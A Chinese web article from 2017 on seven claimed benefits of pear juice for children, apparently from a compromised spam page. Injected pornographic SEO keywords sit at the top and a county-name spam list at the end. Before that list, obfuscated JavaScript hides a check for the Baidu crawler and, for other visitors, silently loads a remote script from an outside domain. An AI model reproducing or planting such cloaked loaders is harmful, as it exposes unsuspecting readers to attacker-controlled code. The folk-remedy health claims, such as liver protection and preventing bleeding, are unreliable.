亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

秋冬常飲鮮梨汁的7大好處

2017-07-07 01:42:56  來源:360常識網   熱度:
導語:第一,梨汁味甘酸而平,有潤肺清燥、止咳化痰、養(yǎng)血生肌的作用,秋天易燥,特別適合幼兒飲用。 第二,梨汁富含膳食纖維,是最好的腸胃“清

第一,梨汁味甘酸而平,有潤肺清燥、止咳化痰、養(yǎng)血生肌的作用,秋天易燥,特別適合幼兒飲用。

第二,梨汁富含膳食纖維,是最好的腸胃“清潔工”,能促進胃腸蠕動,使積存在體內的有害物質大量排出,可以防止幼兒秋季便秘甚至出血。

第三,梨汁含有較多糖類和多種維生素,對肝臟有一定的保護作用,對幼兒健康有好處。

第四,梨汁能促進食欲,幫助消化,并有利尿通便和解熱作用,可用于高熱時補充水分和營養(yǎng)。

第五,梨汁具有潤燥消風的功效,在氣候干燥時,人們常感到皮膚瘙癢、口鼻干燥,有時干咳少痰,每天喝一兩杯梨汁可緩解干燥。

第六,吸煙的人喝梨汁,可以減輕空氣中有害物質對咽喉、呼吸道的刺激。

第七,梨汁含有80%以上的水分,幼兒多喝梨汁可達到補充水分的目的。

自己在家可以制作梨汁。選擇新鮮飽滿,八成熟的梨,去皮和核,用水果刀削成小塊加入榨汁機榨成汁即可。也可以煮后去渣,過濾,可以多過濾幾次,口感會好一點。如果不方便在家制作梨汁,可以到超市購買100%純梨汁。這種梨汁采用瞬間殺菌的無菌冷灌裝,既保留豐富的營養(yǎng),又比生吃水果更衛(wèi)生方便,也是一種方便快捷的方法。需要注意的是,風寒咳嗽、腹部冷痛、脾虛便溏的幼兒要少喝梨汁。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
寿阳县| 张掖市| 秦安县| 栾城县| 友谊县| 商洛市| 张掖市| 蒙城县| 宣恩县| 公主岭市| 淮阳县| 赣州市| 榆社县| 平乐县| 安义县| 扎兰屯市| 酉阳| 兴宁市| 鄂尔多斯市| 青海省| 应城市| 边坝县| 五台县| 乌兰察布市| 新源县| 钟山县| 天长市| 大冶市| 崇义县| 盘锦市| 福鼎市| 宁陵县| 周口市| 化德县| 五河县| 淅川县| 湖口县| 鄂温| 贺兰县| 绥德县| 西林县|